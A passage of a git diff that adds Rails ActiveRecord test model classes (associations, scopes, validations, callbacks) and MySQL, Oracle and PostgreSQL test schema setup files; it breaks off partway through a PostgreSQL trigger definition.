+ has_and_belongs_to_many :developers_by_sql, :class_name => "Developer", :delete_sql => proc { |record| "DELETE FROM developers_projects WHERE project_id = #{id} AND developer_id = #{record.id}" }
+ end
+
+ has_and_belongs_to_many :developers_with_callbacks, :class_name => "Developer", :before_add => Proc.new {|o, r| o.developers_log << "before_adding#{r.id || '<new>'}"},
+ :after_add => Proc.new {|o, r| o.developers_log << "after_adding#{r.id || '<new>'}"},
+ :before_remove => Proc.new {|o, r| o.developers_log << "before_removing#{r.id}"},
+ :after_remove => Proc.new {|o, r| o.developers_log << "after_removing#{r.id}"}
+ has_and_belongs_to_many :well_payed_salary_groups, -> { group("developers.salary").having("SUM(salary) > 10000").select("SUM(salary) as salary") }, :class_name => "Developer"
+
+ attr_accessor :developers_log
+ after_initialize :set_developers_log
+
+ def set_developers_log
+ @developers_log = []
+ end
+
+ def self.all_as_method
+ all
+ end
+ scope :all_as_scope, -> { all }
+end
+
+class SpecialProject < Project
+end
diff --git a/activerecord/test/models/randomly_named_c1.rb b/activerecord/test/models/randomly_named_c1.rb
new file mode 100644
index 0000000..18a86c4
--- /dev/null
+++ b/activerecord/test/models/randomly_named_c1.rb
@@ -0,0 +1,3 @@
+class ClassNameThatDoesNotFollowCONVENTIONS < ActiveRecord::Base
+ self.table_name = :randomly_named_table
+end
diff --git a/activerecord/test/models/rating.rb b/activerecord/test/models/rating.rb
new file mode 100644
index 0000000..25a52c4
--- /dev/null
+++ b/activerecord/test/models/rating.rb
@@ -0,0 +1,4 @@
+class Rating < ActiveRecord::Base
+ belongs_to :comment
+ has_many :taggings, :as => :taggable
+end
diff --git a/activerecord/test/models/reader.rb b/activerecord/test/models/reader.rb
new file mode 100644
index 0000000..3a6b7fa
--- /dev/null
+++ b/activerecord/test/models/reader.rb
@@ -0,0 +1,21 @@
+class Reader < ActiveRecord::Base
+ belongs_to :post
+ belongs_to :person, :inverse_of => :readers
+ belongs_to :single_person, :class_name => 'Person', :foreign_key => :person_id, :inverse_of => :reader
+ belongs_to :first_post, -> { where(id: [2, 3]) }
+end
+
+class SecureReader < ActiveRecord::Base
+ self.table_name = "readers"
+
+ belongs_to :secure_post, :class_name => "Post", :foreign_key => "post_id"
+ belongs_to :secure_person, :inverse_of => :secure_readers, :class_name => "Person", :foreign_key => "person_id"
+end
+
+class LazyReader < ActiveRecord::Base
+ self.table_name = "readers"
+ default_scope -> { where(skimmer: true) }
+
+ belongs_to :post
+ belongs_to :person
+end
diff --git a/activerecord/test/models/reference.rb b/activerecord/test/models/reference.rb
new file mode 100644
index 0000000..c2f9068
--- /dev/null
+++ b/activerecord/test/models/reference.rb
@@ -0,0 +1,22 @@
+class Reference < ActiveRecord::Base
+ belongs_to :person
+ belongs_to :job
+
+ has_many :agents_posts_authors, :through => :person
+
+ class << self; attr_accessor :make_comments; end
+ self.make_comments = false
+
+ before_destroy :make_comments
+
+ def make_comments
+ if self.class.make_comments
+ person.update comments: "Reference destroyed"
+ end
+ end
+end
+
+class BadReference < ActiveRecord::Base
+ self.table_name = 'references'
+ default_scope { where(:favourite => false) }
+end
diff --git a/activerecord/test/models/reply.rb b/activerecord/test/models/reply.rb
new file mode 100644
index 0000000..c882625
--- /dev/null
+++ b/activerecord/test/models/reply.rb
@@ -0,0 +1,60 @@
+require 'models/topic'
+
+class Reply < Topic
+ belongs_to :topic, :foreign_key => "parent_id", :counter_cache => true
+ belongs_to :topic_with_primary_key, :class_name => "Topic", :primary_key => "title", :foreign_key => "parent_title", :counter_cache => "replies_count"
+ has_many :replies, :class_name => "SillyReply", :dependent => :destroy, :foreign_key => "parent_id"
+end
+
+class UniqueReply < Reply
+ validates_uniqueness_of :content, :scope => 'parent_id'
+end
+
+class SillyUniqueReply < UniqueReply
+end
+
+class WrongReply < Reply
+ validate :errors_on_empty_content
+ validate :title_is_wrong_create, :on => :create
+
+ validate :check_empty_title
+ validate :check_content_mismatch, :on => :create
+ validate :check_wrong_update, :on => :update
+ validate :check_author_name_is_secret, :on => :special_case
+
+ def check_empty_title
+ errors[:title] << "Empty" unless attribute_present?("title")
+ end
+
+ def errors_on_empty_content
+ errors[:content] << "Empty" unless attribute_present?("content")
+ end
+
+ def check_content_mismatch
+ if attribute_present?("title") && attribute_present?("content") && content == "Mismatch"
+ errors[:title] << "is Content Mismatch"
+ end
+ end
+
+ def title_is_wrong_create
+ errors[:title] << "is Wrong Create" if attribute_present?("title") && title == "Wrong Create"
+ end
+
+ def check_wrong_update
+ errors[:title] << "is Wrong Update" if attribute_present?("title") && title == "Wrong Update"
+ end
+
+ def check_author_name_is_secret
+ errors[:author_name] << "Invalid" unless author_name == "secret"
+ end
+end
+
+class SillyReply < Reply
+ belongs_to :reply, :foreign_key => "parent_id", :counter_cache => :replies_count
+end
+
+module Web
+ class Reply < Web::Topic
+ belongs_to :topic, :foreign_key => "parent_id", :counter_cache => true, :class_name => 'Web::Topic'
+ end
+end
diff --git a/activerecord/test/models/ship.rb b/activerecord/test/models/ship.rb
new file mode 100644
index 0000000..3da0319
--- /dev/null
+++ b/activerecord/test/models/ship.rb
@@ -0,0 +1,19 @@
+class Ship < ActiveRecord::Base
+ self.record_timestamps = false
+
+ belongs_to :pirate
+ belongs_to :update_only_pirate, :class_name => 'Pirate'
+ has_many :parts, :class_name => 'ShipPart'
+
+ accepts_nested_attributes_for :parts, :allow_destroy => true
+ accepts_nested_attributes_for :pirate, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+ accepts_nested_attributes_for :update_only_pirate, :update_only => true
+
+ validates_presence_of :name
+
+ attr_accessor :cancel_save_from_callback
+ before_save :cancel_save_callback_method, :if => :cancel_save_from_callback
+ def cancel_save_callback_method
+ false
+ end
+end
diff --git a/activerecord/test/models/ship_part.rb b/activerecord/test/models/ship_part.rb
new file mode 100644
index 0000000..b6a8a50
--- /dev/null
+++ b/activerecord/test/models/ship_part.rb
@@ -0,0 +1,7 @@
+class ShipPart < ActiveRecord::Base
+ belongs_to :ship
+ has_many :trinkets, :class_name => "Treasure", :as => :looter
+ accepts_nested_attributes_for :trinkets, :allow_destroy => true
+
+ validates_presence_of :name
+end
\ No newline at end of file
diff --git a/activerecord/test/models/shop.rb b/activerecord/test/models/shop.rb
new file mode 100644
index 0000000..8141422
--- /dev/null
+++ b/activerecord/test/models/shop.rb
@@ -0,0 +1,12 @@
+module Shop
+ class Collection < ActiveRecord::Base
+ has_many :products, :dependent => :nullify
+ end
+
+ class Product < ActiveRecord::Base
+ has_many :variants, :dependent => :delete_all
+ end
+
+ class Variant < ActiveRecord::Base
+ end
+end
diff --git a/activerecord/test/models/speedometer.rb b/activerecord/test/models/speedometer.rb
new file mode 100644
index 0000000..497c3ab
--- /dev/null
+++ b/activerecord/test/models/speedometer.rb
@@ -0,0 +1,6 @@
+class Speedometer < ActiveRecord::Base
+ self.primary_key = :speedometer_id
+ belongs_to :dashboard
+
+ has_many :minivans
+end
diff --git a/activerecord/test/models/sponsor.rb b/activerecord/test/models/sponsor.rb
new file mode 100644
index 0000000..ec3dcf8
--- /dev/null
+++ b/activerecord/test/models/sponsor.rb
@@ -0,0 +1,7 @@
+class Sponsor < ActiveRecord::Base
+ belongs_to :sponsor_club, :class_name => "Club", :foreign_key => "club_id"
+ belongs_to :sponsorable, :polymorphic => true
+ belongs_to :thing, :polymorphic => true, :foreign_type => :sponsorable_type, :foreign_key => :sponsorable_id
+ belongs_to :sponsorable_with_conditions, -> { where :name => 'Ernie'}, :polymorphic => true,
+ :foreign_type => 'sponsorable_type', :foreign_key => 'sponsorable_id'
+end
diff --git a/activerecord/test/models/string_key_object.rb b/activerecord/test/models/string_key_object.rb
new file mode 100644
index 0000000..f084ec1
--- /dev/null
+++ b/activerecord/test/models/string_key_object.rb
@@ -0,0 +1,3 @@
+class StringKeyObject < ActiveRecord::Base
+ self.primary_key = :id
+end
diff --git a/activerecord/test/models/student.rb b/activerecord/test/models/student.rb
new file mode 100644
index 0000000..f459f2a
--- /dev/null
+++ b/activerecord/test/models/student.rb
@@ -0,0 +1,3 @@
+class Student < ActiveRecord::Base
+ has_and_belongs_to_many :lessons
+end
diff --git a/activerecord/test/models/subject.rb b/activerecord/test/models/subject.rb
new file mode 100644
index 0000000..8e28f8b
--- /dev/null
+++ b/activerecord/test/models/subject.rb
@@ -0,0 +1,16 @@
+# used for OracleSynonymTest, see test/synonym_test_oracle.rb
+#
+class Subject < ActiveRecord::Base
+
+ # added initialization of author_email_address in the same way as in Topic class
+ # as otherwise synonym test was failing
+ after_initialize :set_email_address
+
+ protected
+ def set_email_address
+ unless self.persisted?
+ self.author_email_address = 'test at test.com'
+ end
+ end
+
+end
diff --git a/activerecord/test/models/subscriber.rb b/activerecord/test/models/subscriber.rb
new file mode 100644
index 0000000..76e85a0
--- /dev/null
+++ b/activerecord/test/models/subscriber.rb
@@ -0,0 +1,8 @@
+class Subscriber < ActiveRecord::Base
+ self.primary_key = 'nick'
+ has_many :subscriptions
+ has_many :books, :through => :subscriptions
+end
+
+class SpecialSubscriber < Subscriber
+end
diff --git a/activerecord/test/models/subscription.rb b/activerecord/test/models/subscription.rb
new file mode 100644
index 0000000..bcac473
--- /dev/null
+++ b/activerecord/test/models/subscription.rb
@@ -0,0 +1,4 @@
+class Subscription < ActiveRecord::Base
+ belongs_to :subscriber, :counter_cache => :books_count
+ belongs_to :book
+end
diff --git a/activerecord/test/models/tag.rb b/activerecord/test/models/tag.rb
new file mode 100644
index 0000000..a581b38
--- /dev/null
+++ b/activerecord/test/models/tag.rb
@@ -0,0 +1,7 @@
+class Tag < ActiveRecord::Base
+ has_many :taggings
+ has_many :taggables, :through => :taggings
+ has_one :tagging
+
+ has_many :tagged_posts, :through => :taggings, :source => :taggable, :source_type => 'Post'
+end
\ No newline at end of file
diff --git a/activerecord/test/models/tagging.rb b/activerecord/test/models/tagging.rb
new file mode 100644
index 0000000..f91f2ad
--- /dev/null
+++ b/activerecord/test/models/tagging.rb
@@ -0,0 +1,13 @@
+# test that attr_readonly isn't called on the :taggable polymorphic association
+module Taggable
+end
+
+class Tagging < ActiveRecord::Base
+ belongs_to :tag, -> { includes(:tagging) }
+ belongs_to :super_tag, :class_name => 'Tag', :foreign_key => 'super_tag_id'
+ belongs_to :invalid_tag, :class_name => 'Tag', :foreign_key => 'tag_id'
+ belongs_to :blue_tag, -> { where :tags => { :name => 'Blue' } }, :class_name => 'Tag', :foreign_key => :tag_id
+ belongs_to :tag_with_primary_key, :class_name => 'Tag', :foreign_key => :tag_id, :primary_key => :custom_primary_key
+ belongs_to :taggable, :polymorphic => true, :counter_cache => true
+ has_many :things, :through => :taggable
+end
diff --git a/activerecord/test/models/task.rb b/activerecord/test/models/task.rb
new file mode 100644
index 0000000..e36989d
--- /dev/null
+++ b/activerecord/test/models/task.rb
@@ -0,0 +1,5 @@
+class Task < ActiveRecord::Base
+ def updated_at
+ ending
+ end
+end
diff --git a/activerecord/test/models/topic.rb b/activerecord/test/models/topic.rb
new file mode 100644
index 0000000..17035bf
--- /dev/null
+++ b/activerecord/test/models/topic.rb
@@ -0,0 +1,121 @@
+class Topic < ActiveRecord::Base
+ scope :base, -> { all }
+ scope :written_before, lambda { |time|
+ if time
+ where 'written_on < ?', time
+ end
+ }
+ scope :approved, -> { where(:approved => true) }
+ scope :rejected, -> { where(:approved => false) }
+
+ scope :scope_with_lambda, lambda { all }
+
+ scope :by_lifo, -> { where(:author_name => 'lifo') }
+ scope :replied, -> { where 'replies_count > 0' }
+
+ scope 'approved_as_string', -> { where(:approved => true) }
+ scope :anonymous_extension, -> { all } do
+ def one
+ 1
+ end
+ end
+
+ scope :with_object, Class.new(Struct.new(:klass)) {
+ def call
+ klass.where(:approved => true)
+ end
+ }.new(self)
+
+ module NamedExtension
+ def two
+ 2
+ end
+ end
+
+ has_many :replies, :dependent => :destroy, :foreign_key => "parent_id"
+ has_many :approved_replies, -> { approved }, class_name: 'Reply', foreign_key: "parent_id", counter_cache: 'replies_count'
+ has_many :replies_with_primary_key, :class_name => "Reply", :dependent => :destroy, :primary_key => "title", :foreign_key => "parent_title"
+
+ has_many :unique_replies, :dependent => :destroy, :foreign_key => "parent_id"
+ has_many :silly_unique_replies, :dependent => :destroy, :foreign_key => "parent_id"
+
+ serialize :content
+
+ before_create :default_written_on
+ before_destroy :destroy_children
+
+ # Explicitly define as :date column so that returned Oracle DATE values would be typecasted to Date and not Time.
+ # Some tests depend on assumption that this attribute will have Date values.
+ if current_adapter?(:OracleEnhancedAdapter)
+ set_date_columns :last_read
+ end
+
+ def parent
+ Topic.find(parent_id)
+ end
+
+ # trivial method for testing Array#to_xml with :methods
+ def topic_id
+ id
+ end
+
+ alias_attribute :heading, :title
+
+ before_validation :before_validation_for_transaction
+ before_save :before_save_for_transaction
+ before_destroy :before_destroy_for_transaction
+
+ after_save :after_save_for_transaction
+ after_create :after_create_for_transaction
+
+ after_initialize :set_email_address
+
+ class_attribute :after_initialize_called
+ after_initialize do
+ self.class.after_initialize_called = true
+ end
+
+ def approved=(val)
+ @custom_approved = val
+ write_attribute(:approved, val)
+ end
+
+ protected
+
+ def default_written_on
+ self.written_on = Time.now unless attribute_present?("written_on")
+ end
+
+ def destroy_children
+ self.class.delete_all "parent_id = #{id}"
+ end
+
+ def set_email_address
+ unless self.persisted?
+ self.author_email_address = 'test at test.com'
+ end
+ end
+
+ def before_validation_for_transaction; end
+ def before_save_for_transaction; end
+ def before_destroy_for_transaction; end
+ def after_save_for_transaction; end
+ def after_create_for_transaction; end
+end
+
+class ImportantTopic < Topic
+ serialize :important, Hash
+end
+
+class BlankTopic < Topic
+ # declared here to make sure that dynamic finder with a bang can find a model that responds to `blank?`
+ def blank?
+ true
+ end
+end
+
+module Web
+ class Topic < ActiveRecord::Base
+ has_many :replies, :dependent => :destroy, :foreign_key => "parent_id", :class_name => 'Web::Reply'
+ end
+end
diff --git a/activerecord/test/models/toy.rb b/activerecord/test/models/toy.rb
new file mode 100644
index 0000000..ddc7048
--- /dev/null
+++ b/activerecord/test/models/toy.rb
@@ -0,0 +1,6 @@
+class Toy < ActiveRecord::Base
+ self.primary_key = :toy_id
+ belongs_to :pet
+
+ scope :with_pet, -> { joins(:pet) }
+end
diff --git a/activerecord/test/models/traffic_light.rb b/activerecord/test/models/traffic_light.rb
new file mode 100644
index 0000000..a6b7edb
--- /dev/null
+++ b/activerecord/test/models/traffic_light.rb
@@ -0,0 +1,4 @@
+class TrafficLight < ActiveRecord::Base
+ serialize :state, Array
+ serialize :long_state, Array
+end
diff --git a/activerecord/test/models/treasure.rb b/activerecord/test/models/treasure.rb
new file mode 100644
index 0000000..e864295
--- /dev/null
+++ b/activerecord/test/models/treasure.rb
@@ -0,0 +1,11 @@
+class Treasure < ActiveRecord::Base
+ has_and_belongs_to_many :parrots
+ belongs_to :looter, :polymorphic => true
+
+ has_many :price_estimates, :as => :estimate_of
+
+ accepts_nested_attributes_for :looter
+end
+
+class HiddenTreasure < Treasure
+end
diff --git a/activerecord/test/models/treaty.rb b/activerecord/test/models/treaty.rb
new file mode 100644
index 0000000..41fd135
--- /dev/null
+++ b/activerecord/test/models/treaty.rb
@@ -0,0 +1,7 @@
+class Treaty < ActiveRecord::Base
+
+ self.primary_key = :treaty_id
+
+ has_and_belongs_to_many :countries
+
+end
diff --git a/activerecord/test/models/tyre.rb b/activerecord/test/models/tyre.rb
new file mode 100644
index 0000000..bc3444a
--- /dev/null
+++ b/activerecord/test/models/tyre.rb
@@ -0,0 +1,3 @@
+class Tyre < ActiveRecord::Base
+ belongs_to :car
+end
diff --git a/activerecord/test/models/vegetables.rb b/activerecord/test/models/vegetables.rb
new file mode 100644
index 0000000..1f41cde
--- /dev/null
+++ b/activerecord/test/models/vegetables.rb
@@ -0,0 +1,24 @@
+class Vegetable < ActiveRecord::Base
+
+ validates_presence_of :name
+
+ def self.inheritance_column
+ 'custom_type'
+ end
+end
+
+class Cucumber < Vegetable
+end
+
+class Cabbage < Vegetable
+end
+
+class GreenCabbage < Cabbage
+end
+
+class KingCole < GreenCabbage
+end
+
+class RedCabbage < Cabbage
+ belongs_to :seller, :class_name => 'Company'
+end
diff --git a/activerecord/test/models/vertex.rb b/activerecord/test/models/vertex.rb
new file mode 100644
index 0000000..48bb851
--- /dev/null
+++ b/activerecord/test/models/vertex.rb
@@ -0,0 +1,9 @@
+# This class models a vertex in a directed graph.
+class Vertex < ActiveRecord::Base
+ has_many :sink_edges, :class_name => 'Edge', :foreign_key => 'source_id'
+ has_many :sinks, :through => :sink_edges
+
+ has_and_belongs_to_many :sources,
+ :class_name => 'Vertex', :join_table => 'edges',
+ :foreign_key => 'sink_id', :association_foreign_key => 'source_id'
+end
diff --git a/activerecord/test/models/warehouse_thing.rb b/activerecord/test/models/warehouse_thing.rb
new file mode 100644
index 0000000..f20bd1a
--- /dev/null
+++ b/activerecord/test/models/warehouse_thing.rb
@@ -0,0 +1,5 @@
+class WarehouseThing < ActiveRecord::Base
+ self.table_name = "warehouse-things"
+
+ validates_uniqueness_of :value
+end
diff --git a/activerecord/test/models/wheel.rb b/activerecord/test/models/wheel.rb
new file mode 100644
index 0000000..26868bc
--- /dev/null
+++ b/activerecord/test/models/wheel.rb
@@ -0,0 +1,3 @@
+class Wheel < ActiveRecord::Base
+ belongs_to :wheelable, :polymorphic => true, :counter_cache => true
+end
diff --git a/activerecord/test/models/without_table.rb b/activerecord/test/models/without_table.rb
new file mode 100644
index 0000000..50c824e
--- /dev/null
+++ b/activerecord/test/models/without_table.rb
@@ -0,0 +1,3 @@
+class WithoutTable < ActiveRecord::Base
+ default_scope -> { where(:published => true) }
+end
diff --git a/activerecord/test/models/zine.rb b/activerecord/test/models/zine.rb
new file mode 100644
index 0000000..c2d0fda
--- /dev/null
+++ b/activerecord/test/models/zine.rb
@@ -0,0 +1,3 @@
+class Zine < ActiveRecord::Base
+ has_many :interests, :inverse_of => :zine
+end
diff --git a/activerecord/test/schema/mysql2_specific_schema.rb b/activerecord/test/schema/mysql2_specific_schema.rb
new file mode 100644
index 0000000..a9a6514
--- /dev/null
+++ b/activerecord/test/schema/mysql2_specific_schema.rb
@@ -0,0 +1,58 @@
+ActiveRecord::Schema.define do
+ create_table :binary_fields, force: true do |t|
+ t.binary :var_binary, limit: 255
+ t.binary :var_binary_large, limit: 4095
+ t.column :tiny_blob, 'tinyblob', limit: 255
+ t.binary :normal_blob, limit: 65535
+ t.binary :medium_blob, limit: 16777215
+ t.binary :long_blob, limit: 2147483647
+ t.text :tiny_text, limit: 255
+ t.text :normal_text, limit: 65535
+ t.text :medium_text, limit: 16777215
+ t.text :long_text, limit: 2147483647
+ end
+
+ add_index :binary_fields, :var_binary
+
+ create_table :key_tests, force: true, :options => 'ENGINE=MyISAM' do |t|
+ t.string :awesome
+ t.string :pizza
+ t.string :snacks
+ end
+
+ add_index :key_tests, :awesome, :type => :fulltext, :name => 'index_key_tests_on_awesome'
+ add_index :key_tests, :pizza, :using => :btree, :name => 'index_key_tests_on_pizza'
+ add_index :key_tests, :snacks, :name => 'index_key_tests_on_snack'
+
+ ActiveRecord::Base.connection.execute <<-SQL
+DROP PROCEDURE IF EXISTS ten;
+SQL
+
+ ActiveRecord::Base.connection.execute <<-SQL
+CREATE PROCEDURE ten() SQL SECURITY INVOKER
+BEGIN
+ select 10;
+END
+SQL
+
+ ActiveRecord::Base.connection.execute <<-SQL
+DROP TABLE IF EXISTS collation_tests;
+SQL
+
+ ActiveRecord::Base.connection.execute <<-SQL
+CREATE TABLE collation_tests (
+ string_cs_column VARCHAR(1) COLLATE utf8_bin,
+ string_ci_column VARCHAR(1) COLLATE utf8_general_ci
+) CHARACTER SET utf8 COLLATE utf8_general_ci
+SQL
+
+ ActiveRecord::Base.connection.execute <<-SQL
+DROP TABLE IF EXISTS enum_tests;
+SQL
+
+ ActiveRecord::Base.connection.execute <<-SQL
+CREATE TABLE enum_tests (
+ enum_column ENUM('text','blob','tiny','medium','long')
+)
+SQL
+end
diff --git a/activerecord/test/schema/mysql_specific_schema.rb b/activerecord/test/schema/mysql_specific_schema.rb
new file mode 100644
index 0000000..f2cffca
--- /dev/null
+++ b/activerecord/test/schema/mysql_specific_schema.rb
@@ -0,0 +1,70 @@
+ActiveRecord::Schema.define do
+ create_table :binary_fields, force: true do |t|
+ t.binary :var_binary, limit: 255
+ t.binary :var_binary_large, limit: 4095
+ t.column :tiny_blob, 'tinyblob', limit: 255
+ t.binary :normal_blob, limit: 65535
+ t.binary :medium_blob, limit: 16777215
+ t.binary :long_blob, limit: 2147483647
+ t.text :tiny_text, limit: 255
+ t.text :normal_text, limit: 65535
+ t.text :medium_text, limit: 16777215
+ t.text :long_text, limit: 2147483647
+ end
+
+ add_index :binary_fields, :var_binary
+
+ create_table :key_tests, force: true, :options => 'ENGINE=MyISAM' do |t|
+ t.string :awesome
+ t.string :pizza
+ t.string :snacks
+ end
+
+ add_index :key_tests, :awesome, :type => :fulltext, :name => 'index_key_tests_on_awesome'
+ add_index :key_tests, :pizza, :using => :btree, :name => 'index_key_tests_on_pizza'
+ add_index :key_tests, :snacks, :name => 'index_key_tests_on_snack'
+
+ ActiveRecord::Base.connection.execute <<-SQL
+DROP PROCEDURE IF EXISTS ten;
+SQL
+
+ ActiveRecord::Base.connection.execute <<-SQL
+CREATE PROCEDURE ten() SQL SECURITY INVOKER
+BEGIN
+ select 10;
+END
+SQL
+
+ ActiveRecord::Base.connection.execute <<-SQL
+DROP PROCEDURE IF EXISTS topics;
+SQL
+
+ ActiveRecord::Base.connection.execute <<-SQL
+CREATE PROCEDURE topics() SQL SECURITY INVOKER
+BEGIN
+ select * from topics limit 1;
+END
+SQL
+
+ ActiveRecord::Base.connection.execute <<-SQL
+DROP TABLE IF EXISTS collation_tests;
+SQL
+
+ ActiveRecord::Base.connection.execute <<-SQL
+CREATE TABLE collation_tests (
+ string_cs_column VARCHAR(1) COLLATE utf8_bin,
+ string_ci_column VARCHAR(1) COLLATE utf8_general_ci
+) CHARACTER SET utf8 COLLATE utf8_general_ci
+SQL
+
+ ActiveRecord::Base.connection.execute <<-SQL
+DROP TABLE IF EXISTS enum_tests;
+SQL
+
+ ActiveRecord::Base.connection.execute <<-SQL
+CREATE TABLE enum_tests (
+ enum_column ENUM('text','blob','tiny','medium','long')
+)
+SQL
+
+end
diff --git a/activerecord/test/schema/oracle_specific_schema.rb b/activerecord/test/schema/oracle_specific_schema.rb
new file mode 100644
index 0000000..3314687
--- /dev/null
+++ b/activerecord/test/schema/oracle_specific_schema.rb
@@ -0,0 +1,46 @@
+ActiveRecord::Schema.define do
+
+ execute "drop table test_oracle_defaults" rescue nil
+ execute "drop sequence test_oracle_defaults_seq" rescue nil
+ execute "drop sequence companies_nonstd_seq" rescue nil
+ execute "drop synonym subjects" rescue nil
+ execute "drop table defaults" rescue nil
+ execute "drop sequence defaults_seq" rescue nil
+
+ execute <<-SQL
+create table test_oracle_defaults (
+ id integer not null primary key,
+ test_char char(1) default 'X' not null,
+ test_string varchar2(20) default 'hello' not null,
+ test_int integer default 3 not null
+)
+ SQL
+
+ execute <<-SQL
+create sequence test_oracle_defaults_seq minvalue 10000
+ SQL
+
+ execute "create sequence companies_nonstd_seq minvalue 10000"
+
+ execute "create synonym subjects for topics"
+
+ execute <<-SQL
+ CREATE TABLE defaults (
+ id integer not null,
+ modified_date date default sysdate,
+ modified_date_function date default sysdate,
+ fixed_date date default to_date('2004-01-01', 'YYYY-MM-DD'),
+ modified_time date default sysdate,
+ modified_time_function date default sysdate,
+ fixed_time date default TO_DATE('2004-01-01 00:00:00', 'YYYY-MM-DD HH24:MI:SS'),
+ char1 varchar2(1) default 'Y',
+ char2 varchar2(50) default 'a varchar field',
+ char3 clob default 'a text field',
+ positive_integer integer default 1,
+ negative_integer integer default -1,
+ decimal_number number(3,2) default 2.78
+ )
+ SQL
+ execute "create sequence defaults_seq minvalue 10000"
+
+end
diff --git a/activerecord/test/schema/postgresql_specific_schema.rb b/activerecord/test/schema/postgresql_specific_schema.rb
new file mode 100644
index 0000000..6b7012a
--- /dev/null
+++ b/activerecord/test/schema/postgresql_specific_schema.rb
@@ -0,0 +1,224 @@
+ActiveRecord::Schema.define do
+
+ %w(postgresql_ranges postgresql_tsvectors postgresql_hstores postgresql_arrays postgresql_moneys postgresql_numbers postgresql_times postgresql_network_addresses postgresql_bit_strings postgresql_uuids postgresql_ltrees
+ postgresql_oids postgresql_xml_data_type defaults geometrics postgresql_timestamp_with_zones postgresql_partitioned_table postgresql_partitioned_table_parent postgresql_json_data_type).each do |table_name|
+ execute "DROP TABLE IF EXISTS #{quote_table_name table_name}"
+ end
+
+ execute 'DROP SEQUENCE IF EXISTS companies_nonstd_seq CASCADE'
+ execute 'CREATE SEQUENCE companies_nonstd_seq START 101 OWNED BY companies.id'
+ execute "ALTER TABLE companies ALTER COLUMN id SET DEFAULT nextval('companies_nonstd_seq')"
+ execute 'DROP SEQUENCE IF EXISTS companies_id_seq'
+
+ execute 'DROP FUNCTION IF EXISTS partitioned_insert_trigger()'
+
+ execute "DROP SCHEMA IF EXISTS schema_1 CASCADE"
+
+ %w(accounts_id_seq developers_id_seq projects_id_seq topics_id_seq customers_id_seq orders_id_seq).each do |seq_name|
+ execute "SELECT setval('#{seq_name}', 100)"
+ end
+
+ execute <<_SQL
+ CREATE TABLE defaults (
+ id serial primary key,
+ modified_date date default CURRENT_DATE,
+ modified_date_function date default now(),
+ fixed_date date default '2004-01-01',
+ modified_time timestamp default CURRENT_TIMESTAMP,
+ modified_time_function timestamp default now(),
+ fixed_time timestamp default '2004-01-01 00:00:00.000000-00',
+ char1 char(1) default 'Y',
+ char2 character varying(50) default 'a varchar field',
+ char3 text default 'a text field',
+ positive_integer integer default 1,
+ negative_integer integer default -1,
+ bigint_default bigint default 0::bigint,
+ decimal_number decimal(3,2) default 2.78,
+ multiline_default text DEFAULT '--- []
+
+'::text
+);
+_SQL
+
+ execute "CREATE SCHEMA schema_1"
+ execute "CREATE DOMAIN schema_1.text AS text"
+ execute "CREATE DOMAIN schema_1.varchar AS varchar"
+ execute "CREATE DOMAIN schema_1.bpchar AS bpchar"
+
+ execute <<_SQL
+ CREATE TABLE geometrics (
+ id serial primary key,
+ a_point point,
+ -- a_line line, (the line type is currently not implemented in postgresql)
+ a_line_segment lseg,
+ a_box box,
+ a_path path,
+ a_polygon polygon,
+ a_circle circle
+ );
+_SQL
+
+ execute <<_SQL
+ CREATE TABLE postgresql_arrays (
+ id SERIAL PRIMARY KEY,
+ commission_by_quarter INTEGER[],
+ nicknames TEXT[]
+ );
+_SQL
+
+ execute <<_SQL
+ CREATE TABLE postgresql_uuids (
+ id SERIAL PRIMARY KEY,
+ guid uuid,
+ compact_guid uuid
+ );
+_SQL
+
+ execute <<_SQL if supports_ranges?
+ CREATE TABLE postgresql_ranges (
+ id SERIAL PRIMARY KEY,
+ date_range daterange,
+ num_range numrange,
+ ts_range tsrange,
+ tstz_range tstzrange,
+ int4_range int4range,
+ int8_range int8range
+ );
+_SQL
+
+ execute <<_SQL
+ CREATE TABLE postgresql_tsvectors (
+ id SERIAL PRIMARY KEY,
+ text_vector tsvector
+ );
+_SQL
+
+ if 't' == select_value("select 'hstore'=ANY(select typname from pg_type)")
+ execute <<_SQL
+ CREATE TABLE postgresql_hstores (
+ id SERIAL PRIMARY KEY,
+ hash_store hstore default ''::hstore
+ );
+_SQL
+ end
+
+ if 't' == select_value("select 'ltree'=ANY(select typname from pg_type)")
+ execute <<_SQL
+ CREATE TABLE postgresql_ltrees (
+ id SERIAL PRIMARY KEY,
+ path ltree
+ );
+_SQL
+ end
+
+ if 't' == select_value("select 'json'=ANY(select typname from pg_type)")
+ execute <<_SQL
+ CREATE TABLE postgresql_json_data_type (
+ id SERIAL PRIMARY KEY,
+ json_data json default '{}'::json
+ );
+_SQL
+ end
+
+ execute <<_SQL
+ CREATE TABLE postgresql_moneys (
+ id SERIAL PRIMARY KEY,
+ wealth MONEY
+ );
+_SQL
+
+ execute <<_SQL
+ CREATE TABLE postgresql_numbers (
+ id SERIAL PRIMARY KEY,
+ single REAL,
+ double DOUBLE PRECISION
+ );
+_SQL
+
+ execute <<_SQL
+ CREATE TABLE postgresql_times (
+ id SERIAL PRIMARY KEY,
+ time_interval INTERVAL,
+ scaled_time_interval INTERVAL(6)
+ );
+_SQL
+
+ execute <<_SQL
+ CREATE TABLE postgresql_network_addresses (
+ id SERIAL PRIMARY KEY,
+ cidr_address CIDR default '192.168.1.0/24',
+ inet_address INET default '192.168.1.1',
+ mac_address MACADDR default 'ff:ff:ff:ff:ff:ff'
+ );
+_SQL
+
+ execute <<_SQL
+ CREATE TABLE postgresql_bit_strings (
+ id SERIAL PRIMARY KEY,
+ bit_string BIT(8),
+ bit_string_varying BIT VARYING(8)
+ );
+_SQL
+
+ execute <<_SQL
+ CREATE TABLE postgresql_oids (
+ id SERIAL PRIMARY KEY,
+ obj_id OID
+ );
+_SQL
+
+ execute <<_SQL
+ CREATE TABLE postgresql_timestamp_with_zones (
+ id SERIAL PRIMARY KEY,
+ time TIMESTAMP WITH TIME ZONE
+ );
+_SQL
+
+ begin
+ execute <<_SQL
+ CREATE TABLE postgresql_partitioned_table_parent (
+ id SERIAL PRIMARY KEY,
+ number integer
+ );
+ CREATE TABLE postgresql_partitioned_table ( )
+ INHERITS (postgresql_partitioned_table_parent);
+
+ CREATE OR REPLACE FUNCTION partitioned_insert_trigger()
+ RETURNS TRIGGER AS $$
+ BEGIN
+ INSERT INTO postgresql_partitioned_table VALUES (NEW.*);
+ RETURN NULL;
+ END;
+ $$
+ LANGUAGE plpgsql;
+
+ CREATE TRIGGER insert_partitioning_trigger
+ BEFORE INSERT ON postgresql_partitioned_table_parent
